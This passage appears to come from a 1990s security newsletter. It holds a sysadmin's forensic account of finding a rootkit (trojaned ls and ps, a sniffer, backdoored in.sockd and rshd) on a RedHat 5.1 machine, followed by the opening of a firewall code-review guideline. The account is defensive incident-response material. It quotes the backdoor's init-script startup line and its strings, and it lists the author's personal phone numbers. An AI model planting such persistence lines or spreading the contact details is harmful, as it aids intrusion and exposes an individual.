'/etc/rc.d/init.d/...'. Yes, with 3 dots. One dot by itself isn't
suspicious, nor are two. Play around with DOS for about two seconds and
you'll see why: '.' means "this directory" and '..' means "one directory
up." They exist in every directory and are necessary for the proper
operation of the file system. But '...' ? That has no special reason to exist.
Well, it was getting late, and I was fried after a day of class and my
contacts were drying up, so I listed /etc/rc.d/init.d/ to check for this
object. Nada. Just the usual System V / RedHat 5.1 init files. To see who
was lying, changed my directory into /tmp/foo, the echoed the current date
into a file called '...' and tried ls on it. '...' was not found. I'd found
the first rootkit binary: a copy of ls written to not show the name '...' .
Now that we knew that '...' was not part of a canonical distribution, I
moved into to it and had a look. There were only two files; linsniffer and
tcp.log. I viewed tcp.log with more and made a list of the staff who would
get some unhappy news. Ps didn't show the sniffer running, but ps should not
be trusted in this case, so I had to check another way.
We were running in tcsh, an enhanced C-syntax shell which supports
asynchronous (background) job execution. I typed './linsniffer &' which told
tcsh to run the program called linsniffer in this directory, and background
it. Tcsh said that was job #1, with process ID 2640. Time for another ps -
and no linsniffer. Well, that wasn't too shocking. Either ps was hacked or
linsniffer changed its name to something else. The kicker: 'ps 2640'
reported that there were no processes available. Good enough. Ps got
cracked. This was the second rootkit binary. Kill the sniffer.
Now we check the obvious: /etc/passwd. There were no strange entries and all
the logins worked. That is, the passwords were unchanged. In fact the only
weird thing was that the file had been modified earlier in the day. An
invocation of last showed us that 'bomb' had logged in for a short time
around 2:35 am. That time would prove to be significant. Ain't nobody here
but us chickens, and none of us is called bomb...
I went and got my crack-detection disk - a locked floppy with binaries I
trust - and mounted the RedHat CD. I used my clean ls and found that the
real ls was about 28K, while the rootkit one was over 130K! Would anyone
like to explain to me what all those extra bytes are supposed to be? File
has the answer: ELF 32-bit LSB executable, Intel 80386, version 1,
dynamically linked, not stripped. Aha! So when she compiled it, our script
kiddie forgot to strip the file. That means that gcc left all its debugging
info in the file. Indeed, stripping the program brings it down to 36K, which
is about reasonable for the extra functionality (hiding certain files) that
was added.
Remember how I mentioned that the increased file size is important? This is
where we find out why. First, new "features" have been added. Second, the
binaries have verbose symbol tables, to aid debugging without having to
include full debug code. And third, many script kiddies like to compile
things with debugging enabled, thinking that it'll give them more debug-mode
backdoors. Certainly our 'kiddie was naive enough to think so. Her copy of
ls had a full symbol table, and source and was compiled from
/home/users/c/chlorine/fileutils-3.13/ls.c - which is useful info. We can
fetch canonical distributions and compare those against what's installed to
get another clue into what she may have damaged.
I naively headed for the log files, which were, of course, pure as the
driven snow, but I still did find out something useful: this box seemed to
have TCP wrappers installed. OK, those must have failed somehow since she
got in to our system. On RH51, the TCP wrappers live in /usr/sbin/in.* so
what's this in.sockd doing in /sbin? Being Naughty, that's what. I munged
in.sockd through strings, and found some very interesting strings indeed. I
quote: You are being logged , FUCK OFF , /bin/sh , Password: , backon . I
doubt that this is part of an official RedHat release.
I quickly checked the other TCP wrappers, and found that RedHat's in.rshd is
11K, and the one on the HD was 200K. OK, 2 bogus wrappers. It seems that,
looking at the file dates, this cracked wrapper came out the day after RH51
was released. Spooky, huh?
I noticed that these binaries, though dynamically linked, used libc5, not
libc6 which we have. Sure, libc5 exists, but nothing, and I mean nothing at
all uses it. Pure background compatibility code. After checking the other
suspect binaries, they too used libc5. That's where strings and grep (or a
pager) gets used.
Now I'm getting bored of looking by hand, so lets narrow our search a little
using find. Try everything in October of this year... I doubt our cracker
was the patient sort - look at her mistakes so far - so she probably didn't
get on before the beginning of the month. I don't claim to be a master of
the find syntax, so I did this:
find / -xdev -ls | grep "Oct" | grep -v "19[89][0-7]" > octfiles.txt
In English: start from the root, and don't check on other drives, print out
all the file names. Pass this through a grep which filters everything except
for "Oct" and then another grep to filter out years that I don't care about.
Sure, the 80's produced some good music (Depeche Mode) and good code (UN*X /
BSD) but this is not the time to study history.
One of the files reported by the find was /sbin/in.sockd. Interestingly
enough, ps said that there was one unnamed process with a low (76) process
id owned by uid=0, gid=26904. That group is unknown on campus here - whose
is it? And how did this file get run so early so as to get that low a PID?
In.sockd has that uid/gid pair... funky. It has to get called from the init
scripts since this process appears on startup, with a consistently low PID.
Grepping the rc.sysinit file for in.sockd, the last 2 lines of the file are
this:
#Start Socket Deamon
exec in.sockd
Yeah, sure... That's not part of the normal install. And Deamon is spelled
wrong. Should a spell checker be included as an crack-detector? Well, RedHat
isn't famous for poor docs and tons of typos, but it is possible to add
words to a dictionary. So our cracker tried to install a backdoor and tried
to disguise it by stuffing it in with some related programs. This adds
credibility to my theory that our cracker has so far confined her skills to
net searches for premade exploits.
The second daemon that was contaminated was rshd. About 10 times as big as
the standard copy, it can't be up to anything but trouble. What does rsh
mean here? RemoteSHell or RootShell? Your guess is as good as mine.
So far what we've found are compromised versions of ls, ps, rshd, in.sockd,
and the party's just beginning. I suggest that once you're finished reading
this, you do a web search for rootkit and see how many you can scrounge up
and defeat. You have to know what to look for in order to be able to remove it.
While the log files had been all but wiped clean, the console still had some
errors printed on it, quite a few after 0235h. One of these was a refusal to
serve root access to / via nfs at 0246h. That coincided perfectly with the
last access time to the NFS manpage. So our script kiddie found something
neat, and she tried to mount this computer via NFS, but she didn't set it up
properly. All crackers, I'd say, make mistakes. If they did everything
perfectly we'd never notice them and there would be no problems. But it's
the problems that arise from their flaws that cause us any amount of grief.
So read your manuals. The more thoroughly you know your system, the more
likely you are to notice abnormalities.
One of the useful things (for stopping a cracker) about NFS is that if the
server goes down, all the NFS clients with directories still mounted will
hang. You'll have to 120-cycle the machine to get it back. Hmmm. This
presents an interesting tool opportunity: write a script to detect an NFS
hack, and if a remote machine gets in, ifconfig that interface off. Granted,
that presents a possible denial-of-service if authorized users get cut off.
But it's useful if you don't want your workstation getting compromised.
At this point I gave up. I learned what I'd set out to do - how to find the
crap left behind by a cracker. Since the owner of this system had all her
files on (removed) removable media there was no danger of them being in any
way compromised. The ~janedoe directory was mounted off a jaz disk which she
took home at night, so I just dropped the CD into her drive and reinstalled.
This is why you always keep user files on a separate partition, why you
always keep backups and why it's a good plan to write down where to get the
sources for things you downloaded, if you can't keep the original archives.
Now that we've accumulated enough evidence and we're merely spirited
sluggers pulverizing and equine cadaver, it's time to consider the
appropriate response. Similar to Carolyn's you-can-get-punched and
you-can-go-to-jail warnings, I would suggest that a vicious hack back is not
appropriate. In Canada, the RCMP does actually have their collective head
out of the sand. I am not a lawyer, so don't do anything based on these
words except find a lawyer of your own. With that out of the way, suffice it
to say that we're big on property protection here. Aside from finding a
lawyer of your own, my advice here is for you to call the national police,
whoever they are. People like the RCMP, FBI, BKA and KGB probably don't mind
a friendly phone call, especially if you're calling to see how you can
become a better law-abiding citizen. Chances are, you'll get some really
good tips, or at least some handy references. And of course you'll know
someone who'll help you prosecute.
My communication with RCMP's Commercial Crimes unit (that includes theft of
computing and/or network services) can be summarized as follows: E-mail has
no expectation of privacy. You wish email was a secret, but wake up and
realize that it's riskier than a postcard. As a sysadmin, you can do
_ANYTHING_ you want with your computer - since it's your responsibility
either because you own it or because you are its appointed custodian - so
long as you warn the users first. So I can monitor each and every byte all
of my users send or receive, since they've been warned verbally,
electronically and in writing, of my intent to do so. My browse of the FBI's
website shows similar things. But that was only browsing. Don't run afoul of
provincial or state laws regulating the interception of electronic
communication either.
NOTE: While I have attempted to make this reconstruction of events
as accurate as possible, there's always a chance I might have
misread a log entry, or have misinterpreted something. Further,
this article is solely my opinion, and should not be read as
the official position of my employer.
Appendix A: Programs you want to have in a crack-detection kit
===========
find, ps, ls, cp, rm, mv
gdb, nm, strings, file, strip
(gnu)tar, gzip, grep
less / more
vi / pico
tcsh / bash / csh / sh
mount
These should all be statistically linked. Items separated by commas
mean "all of these," items separated by forward slashes mean "pick
your favorite."
Appendix B: References
===========
WinFrame
www.citrix.com
RedHat 5.1
www.redhat.com
www.rootshell.com
www.netspace.org/lsv-archive/bugtraq.html
About the filesystem
McKusik, M.K. , Joy, W.N. , Leffler, S.J. , Fabry, R.S.
"A Fast File System for UNIX" Unix System Manager's Manual
Computer Systems Reseach Group, Berkeley. SMM-14. April 1986
LEA and Computer Crime
www.rcmp-grc.gc.ca/html/cpu-cri.htm
www.fbi.gov/programs/compcrim.htm
--
Chris Kuethe: System Administrator - U of A Math Dept
http://www.[math.]ualberta.ca/~ckuethe/
pager: 403.917.6448 office: CAB553, x1704 cell: 903.9475
wargames@edmc.net ckuethe@ualberta.ca
ckuethe@math.ualberta.ca ckuethe@gecko.math.ualberta.ca
__________________________________________________________________
@HWA
45.0 Security code review guidelines
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Security Code Review Guidelines
Adam Shostack
$Id: review.html,v 1.7 1998/11/24 21:26:42 adam Exp $
Executive Summary
Before programs may be placed in the firewall system, the source code is reviewed for deficiencies in the areas of security, reliability and operations. This document is dual purposed; first it is a guideline and checklist for security groups performing the code
review; second, it is an attempt to provide development teams with information about what we look for in a review.
This is an early draft of the guidelines; it is being distributed in the hopes of providing a more transparent and predictable code review process. We do not mean to imply that the things listed here are the only issues we will raise in a review. We will attempt to
keep this document up to date, so that over time, it becomes a more useful guide.
I.Table of Contents
I.Overview
II.Documentation
III.Logging
IV.Filesystem issues
V.Code (Security)
VI.Code (Reliability)
VII.Code Handover
VIII.Miscellaneous
IX.References
Appendixes
A.Language specific notes
B.Application specific notes
C.Change Log
II.Overview This document describes the code review portion of getting a machine approved for connectivity outside of Acme Widgets. The full process is described in ().
When networking computers that can access information of financial or personal value that Acme Widgets has entrusted to a computer system, it is essential that we consider information security. When network connections pass through networks outside
of Acme Widgets's control, we are exposed to attacks from a variety of sources. Those sources are known to include vandals ("hackers") who will make changes to information as a means of gaining prestige in the underground community, or as a matter
of revenge or disruption, and amateur thieves, who will attempt to steal. There may also be attacks by professional criminals or criminal groups who have access to substantial resources of both time and money, and can perform an in-depth attack. Acme
Widgets is a large, high visibility target...
As such, the firewall architecture group is tasked with providing a state of the art Internet firewall that will protect us from all these threats, and simultaneously help Acme Widgets provide service to our customers over the Internet. We are interested in
making it possible to deploy new applications that work over the internet, however, we must make sure that those applications are safe.
This means that we need to resist a variety of attacks, and we need to do so better than in our phone or mail businesses. Why better? Because on the phone, there is a person in the loop. In the mail room, there is a person in the loop. Online, it may be
possible to scale an attack from annoying to disastrous, or from a small scam to a huge theft, because the entire attack might be automated.
So it is with a healthy paranoia that we approach screening new components to the firewall. We will examine the authentication and authorization methods that you use. We will look for confidentiality and integrity controls. We will look at administrative
issues such as the documentation that the firewall support group needs, and how the program logs.
This document, in addition to making the process transparent, is intended to speed the code review process, by letting you know what we'll be looking for, so you can have it ready when we do the review. It also explains some of the coding practices and
common mistakes that we will insist be changed, so you can come to us with code thats closer to being installable.
This is a requirements document. In some places things will be marked 'optional', or 'preferred.' This refers to a judgment call on the part of the Firewall Architecture group, with input from corporate security, the group whose code is being reviewed, and
other participants in the code review process. The word optional may be construed to mean that we will not require a change, although we may strongly recommend it. Other things will be marked 'should,' and those things are open to discussion, if they
are documented design decisions. In other words, the documentation must explain the choice at the start of the code review. Otherwise, we will require that the code be changed to confirm with accepted security practices.
The code review participants should remain constant from review to review. Participation by representatives from many groups is required for a successful code review. Those groups include, but are not limited to, (Firewall Operations), (Firewall
Architecture) and Corporate Security. The code must be presented by a developer or group member who is qualified and able to answer technical questions about the code and design. There must be a scribe and a coordinator appointed. At the end of a
review, all present must agree on an appraisal of the code. In the event of irreconcilable disagreements, the least positive appraisal that everyone can agree to will be the appraisal. At reviews beyond the first, copies of the diffs and the minutes of all
previous meetings should be available, along with a full copy of the current code.
III.Documentation
A.The code must be accompanied by documentation. The documentation allows the review team to do a proper review, and provides the support people with information that they will need to run the code in the firewall environment. Templates for
the architectural overview, code overview, and functional summaries will be made available.
B.Architectural Overview The review team will start with the architectural overview. This overview will include a diagram of the system being implemented, and the place of the code under review in the system. The diagram should show the client, the
proxy and server, all in relation to the Acme Widgets Firewall system. Data flow from (Corporate Network) to the server should be documented, as should how the client might relate to a firewall at the remote site. The overview should also contain
a textual description of the system, including a functional overview. The functional overview must include information about what threats the code is expected to deal with, and how it will deal with them. The use of cryptography for confidentiality,
integrity, etc should be outlined here.
C.Code Overview Code reviews can be long and tedious. Having to figure out how the code is designed, what modules will be compiled in, and other such information, obvious to the developer, will slow the process of code review while we wait for
the overview information, and thus, deployment will be delayed.
D.Comments in code We expect the code to have a reasonable number of comments. As a guide, each file should have a comment at the start, explaining what the code does, possibly a comment at the start of each function, and comments as needed
to explain complex or obfuscated code. (Incidentally, a compilation of the per module header files might make a good basis for an overview document, although it will not be a complete overview.)
E.Functional summary There must be a functional summary for the firewall support group. This documentation is expected at the time of review, and will be evaluated as part of the review.
1.
2.Installation Requirements & Environment
The install procedure must be documented. Can we copy a binary and a configuration file? Do we need to run any scripts to set up directory hierarchies? What will the permissions and ownership be on the installed files?
3.How to invoke.
Does it run from the command line? Inetd? Cron? Rc2.d/S99Acme? Are there arguments that the program expects? Does it expect environment variables to be set? (We'd prefer they be moved to a configuration file. We might mandate
some options be moved to a configuration file for reliability reasons.)
4.Signals
Does the program react to any signals other than SIGKILL and SIGTERM? If it does, it should use SIGUSR1 to activate debugging, and SIGUSR2 to turn it off. In any event, the programs signal handling must be documented.
5.Options & Configuration Files
A complete description of all command line options is required. A complete description of the configuration files is required.
IV.Logging All programs in the firewall must call syslog to report a variety of things. Syslog is our standard way of getting log information from the firewall to the analysis machines. Information to be logged includes, but is not limited to: Invocation, normal use
(including which machines and what is being done), problems, and the program's termination, normal or abnormal. Logging should be configurable via a signal. We strongly suggest use of SIGUSR1 to turn on debugging, and SIGUSR2 to turn it off.
Programs must be careful to avoid logging passwords, cryptographic keys, and other sensitive data. In addition, be careful about the amount of user supplied data that syslog gets.
Passing debugging information to syslog is optional.
Log facility and levels to be used will be provided by (Firewall Architecture) on request. In general, use LOG_INFO for information, LOG_DEBUG for debug, and LOG_ALERT, LOG_CRIT, and LOG_ERR when those are reasonably called for.
V.Files
A.
B.Configuration files
The program should read as much as is feasible from configuration files; not have things such as host names hard-coded into it. (Hostnames, incidentally, should always be fully qualified.) The file should be in a standard location
(/usr/local/etc/acme/program is strongly suggested), should have its ownership and permission checked before reading, and should not be writable by the uid the program is running under. The config file should also specify the log facility. The config
file should be treated like other incoming data, on the chance that its been corrupted.
C.Core files
Code on the firewall should attempt not to dump core if it might have sensitive data in memory that could be retrieved. Cores might be made retrievable by an information (ftp, gopher, or web) server running on the machine. If the machine is a proxy
server, we can discuss the disposition of core files.
D.Chroot()
The chroot() call irreversibly changes a programs view of the filesystem, creating a new 
